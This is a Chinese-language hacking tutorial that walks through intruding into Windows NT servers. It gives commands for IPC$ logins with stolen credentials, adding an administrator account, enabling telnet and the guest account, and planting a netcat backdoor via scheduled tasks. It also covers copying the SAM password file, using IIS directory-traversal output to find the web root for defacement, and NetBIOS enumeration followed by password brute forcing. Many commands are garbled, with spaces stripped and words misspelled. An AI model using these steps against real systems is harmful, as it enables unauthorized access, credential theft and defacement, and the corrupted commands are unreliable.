成为真正黑客必须掌握的入侵技术——————【Badboy】

只要删除这些就可以了有些系统NT装置在D盘或其他盘，就要把C改成其他盘。

 1NET

只要你拥有某IP用户名和密码，那就用IPC$做连接吧!

这里我假如你得到用户是hbx密码是123456假设对方IP为127.0.0.1

netus\\127.0.0.1\ipc$"123456"/user:"hbx"

退出的命令是

netus\\127.0.0.1\ipc$/delte

下面的操作你必需登陆后才可以用.登陆的方法就在上面.

----------------------

下面我讲怎么创建一个用户，由于SA 权限相当于系统的超级用户.

加一个heibai用户密码为lovechina

netuserheibailovechina/add

只要显示命令胜利，那么我可以把他加入Administr组了.

netlocalgroupA dministrheibai/add

----------------------

这里是讲映射对方的C盘，当然其他盘也可以，只要存在就行了.这里把对方的C盘映射到外地的Z盘.

netusz:\\127.0.0.1\c$

----------------------

netstarttelnet

这样可以打开对方的TELNET服务.

----------------------

这里是将Guest用户激活，guestNT默认用户，而且无法删除呢?不知道是否这样，2000就是删除不了

netuserguest/active:yes

----------------------

这里是把一个用户的密码改掉，把guest密码改为lovechina其他用户也可以的只要有权限就行了呀!

netuserguestlovechina

net命令果然强大啊!

2:at

一般一个入侵者入侵后都会留下后门，也就是种木马了把木马传了上去，怎么启动他呢?

那么需要用AT命令，这里假设你已经登陆了那个服务器。

首先要得到对方的时间，

nettime\\127.0.0.1

将会返回一个时间，这里假设时间为12:1现在需要新建一个作业，其ID=1

at\\127.0.0.112:3nc.exe

这里假设了一个木马，名为NC.EXE这个东西要在对方服务器上.

这里介绍一下NCNCNETCA T简称，为了方便输入，一般会被改名.一个TELNET服务，端口为99.

等到12:3就可以连接到对方的99端口.这样就给对方种下了木马.

3:telnet

这个命令非常实用，可以与远方做连接，不过正常下需要密码、用户，不过你给对方种了木马，直接连到这个木马打开的端口.

telnet127.0.0.199

这样就可以连到对方的99端口.那你就可以在对方运行命令了这个也就是肉鸡.

4:FTP

可以将你东西传到对方机子上，可以去申请个支持FTP上传的空间，国内多的如果真的找不到给个WWW.51.NET不错的.当我申请完后，会给用户名，密码，以及FTP服务器.

上传前需要登陆先，这里我假设FTP服务器是WWW.51.NET用户名是HUCJS密码是654321

ftphttp://www.51.net

会要求输入用户，胜利后会要求输入密码.

下面先说上传，假设你需上传的文件是INDEX.HTM位于C:\下，传到对方D:\

getc:\index.htmd:\

假设你要把对方C盘下的INDEX.HTM下到机子的D盘下

putc:\index.htmd:\

5:copy

下面我说说怎样把本地的文件复制到对方硬盘上去，需要建立好IPC$连接才有效。

这里我把本地C盘下的index.htm复制到127.0.0.1C盘下

copiindex.htm\\127.0.0.1\c$\index.htm

----------------------

如果你要复制到D盘下把C改为D就行了!

copiindex.htm\\127.0.0.1\d$\index.htm

----------------------

如果你要把他复制到WINNT目录里

就要把输入

copiindex.htm\\127.0.0.1\admin$\index.htm

admin$winnt

----------------------

要把对方的文件复制过来，顺便告诉大家NT备份的数据库放在x:\winnt\repair\sam._sam._数据库的文件名

下面就把127.0.0.1数据库复制到外地C盘下

copi\\127.0.0.1\admin$\repair\sam._c:\

----------------------

6set

如果你跑进了一部机子，而且想黑他这思想只能在特别时候才准有)当然他80端口要开，不然你黑给谁看。这时需要用SET命令!

下面是得到结果!来分析它只是找主页在那而已。

COMPUTERNA ME=PENTIUMII

ComSpec=D:\WINNT\system32\cmd.exe

CONTENT_LENGTH=0

GA TEWA Y_INTERFA CE=CGI/1.1

HTTP_A CCEPT=*/*

HTTP_A CCEPT_LA NGUA GE=zh-cn

HTTP_CONNECTION=Keep-A live

HTTP_HOST=当前登陆者的IP这里原本是显示我IP被我删除了

HTTP_A CCEPT_ENCODING=gzipdeflate

HTTP_USER_A GENT=Mozilla/4.0compatible;MSIE5.0;Window98;DigExt

NUMBER_OF_PROCESSORS=1

Os2LibPath=D:\WINNT\system32\os2\dll;

OS=Windows_NT

Path=D:\WINNT\system32;D:\WINNT

PA THEXT=.COM;.EXE;.BA T;.CMD

PA TH_PA NSLA TED=E:\vlroot主页放在地址，只要你看到PA TH_PA NSLA TED=后面就是主页的存放地址。这里是E:\vlroot

PROCESSOR_A RCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86Famili6Model3Step3GenuineIntel

PROCESSOR_LEVEL=6

PROCESSOR_REVISION=0303

PROMPT=$P$G

QUERY_SPING=/c+set

REMOTE_A DDR=XX.XX.XX.XX

REMOTE_HOST=XX.XX.XX.XX

REQUEST_METHOD=GET

script_NA ME=/scripts/..%2f../winnt/system32/cmd.exe

SERVER_NA ME=XX.XX.XX.XX

SERVER_PORT=80

SERVER_PORT_SECURE=0

SERVER_PROTOCOL=HTTP/1.1

SERVER_SOFTWA RE=Microsoft-IIS/3.0对方使用IIS/3.0

SystemDrive=D:

SystemRoot=D:\WINNT

TZ=GMT-9

USERPROFILE=D:\WINNT\Profiles\DefaultUser

windir=D:\WINNT

粉红色的那行就是对方主页存放地址，这里告诉大家一个技巧，很笨的技巧啊，不过只能用这个方法才干100%找到主页的名称，当你DIR这个目录时，一定会看到很多文件，可以把所有文件在浏览器这样输入XX.XX.XX.XX/文件名，这样只要看到和XX.XX.XX.XX看到也面一模一样，那么这就是主页的名称了

7nbtstat

如果你扫到一部NT机子，136139其中一个端口开了话，就要用这个命令得到用户了顺便告诉大家这是netbio得到用户名后就可以猜猜密码了例如比较简单的密码，密码和用户名一样的都试下，不行就暴力破解吧!